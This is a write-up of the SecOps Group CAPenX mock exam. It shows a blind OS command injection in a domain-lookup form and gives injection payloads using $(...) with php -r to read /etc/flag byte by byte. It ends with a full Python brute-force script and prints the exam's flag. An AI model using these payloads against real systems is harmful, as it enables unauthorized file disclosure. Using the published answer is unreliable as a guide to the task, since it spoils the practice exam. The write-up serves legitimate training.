🕗 5 minutes.
The Certified Application Security Penetration Testing Expert (CAPenX)
is a practical certification offered by the SecOps Group.
This certification is designed to signify an advanced level of expertise and covers the following topics:
For this exam, there is no official course to follow. Instead, candidates who wish to pass may purchase a voucher that permits two attempts. In order to help candidates understand what to expect from the exam, the SeCops Group has developed a mock exam.
The structure of the mock exam is straightforward. It consists of a single question that requires answering one flag. The objective is to identify a vulnerability on https://mock.hackme.secops.group:8000 that enables access to the flag located at the /etc/flag
path.
This write-up aims to provide a possible solution for obtaining the flag; however, it does not imply that this is the intended solution.
The web application acts as a DNS server, allowing users to send a domain as an HTTP POST parameter.
In response, the application returns the IP address associated with that domain.
The example below illustrates an input of localhost
resolving to 127.0.0.1
.
As the application has a single user input, it is possible to test for injection vulnerabilities. Therefore, the objective is to conduct tests to determine whether the application produces any different outputs.
The following OS command injection vulnerability can be identified, which returns the same output: 127.0.0.1
.
$(echo localhost)
In order to predict the backend’s behavior, the application may perform actions similar to the following:
ping -c1 -4 $(echo localhost) | head -n1 | cut -d '(' -f2 | cut -d ')' -f1
The application is not correctly escaping the characters, allowing the dollar sign ($) to be interpreted as an operating system command.
Once the command injection vulnerability is discovered, it is straightforward to exploit it to read the flag. Therefore, certain constraints were observed during the exam.
This represents a scenario of blind command injection [1], in which several techniques can be employed. This write-up will demonstrate how to read the flag by triggering conditional responses, akin to error-based SQL injection scenarios [2].
The application returns two types of output:
IP address is 127.0.0.1
.No IP address found for the domain.
Another important piece of information provided for this challenge is the location of the flag: /etc/flag
.
The exploit involves brute-forcing the flag byte by byte.
If a byte read is correct, it triggers a type 2
output; otherwise, it produces a type 1
output.
Supposing the flag is set to 135
, the animation below illustrates how the brute force method operates.
From the example, the situation may be similar when attempting to read the flag, where the character set is defined as follows:
a-z A-Z 0-9 <space> { } - _
From the previous section, the payload should be capable of reading the flag byte by byte.
Since the backend is developed in PHP (index.php), it is possible to use an inline command to accomplish this.
The code below demonstrates how to read the first line and the first byte of the flag located at /etc/flag
:
php -r 'echo file("/etc/flag")[0][0]'
Once the flag is read, it is needed to trigger a conditional event.
The code below is an if
statement in shell that compares if the byte read from the flag is equal to <bruteforce byte>
.
if [ $(php -r '...') == '<bruteforce byte>' ]; then echo 1; fi
Finally, two types of output may be triggered when the code above is concatenated with localhost$()
.
If the comparison is incorrect, $(<payload>)
will return an empty value, resulting in the input being localhost
, which triggers the type 1
output.
Conversely, if the comparison is correct, $(<payload>)
will return 1
, and the input will be localhost1
, which triggers the type 2
output — DNS locahost1
cannot be resolved.
There is only one more step required to fully automate the exploration process. The request sent to the application must include the necessary parameters and cookies:
The token and the cookie can be retrieved by making a GET request before sending the POST request to exploit the vulnerability. An example of a GET request is as follows:
# Cookie
Set-Cookie: PHPSESSID=50e329006fbcb86772cf3aa17855cd57; path=/
# token
<input name="token" type="hidden" value="UoFGnVXPTcsywHWhoWeTjU8WvMxQY5N2Vu_p0GMhsz8FwSCLmo">
The Python code below demonstrates a sample of how to exploit this automatically and get the flag.
Click here to test with Google Colab.
Flag: flag{nAAKHJ2jlZred3j1EKlvCdgV}
.
import requests
import warnings
warnings.filterwarnings("ignore")
# Configs
#---------------------------------------------
url = 'https://mock.hackme.secops.group:8000/'
file = "/etc/flag"
line = 0 # read the first line of the $file.
#---------------------------------------------
alph = "abcdefghijklmnopqrstuvwxyz"
alph += alph.upper()
alph = '{} -_0123456789' + alph
flag = "flag{" # flag{nAAKHJ2jlZred3j1EKlvCdgV}
while flag[len(flag) - 1] != '}':
for i in range(len(alph)):
flag_try = alph[i]
print(f'Try: {flag}{flag_try}')
payload = f'localhost$(if [ $(php -r \'echo file("{file}")[{line}][{str(len(flag))}];\') = "{flag_try}" ];then echo 1;fi)'
# Get token and cookie.
res = requests.get(url, verify=False)
php = res.headers['Set-Cookie'].split(';')[0]
token = res.text.split('name="token" type="hidden" value="')[1].split('"')[0]
res = requests.post(url, verify=False, headers = {"Cookie": php}, data={"token": token, "domain": payload})
if res.text.find("127.0.0.1") == -1:
flag += flag_try
print(f'\n> Found: {flag}\n')
break
print(f'>>> {flag}')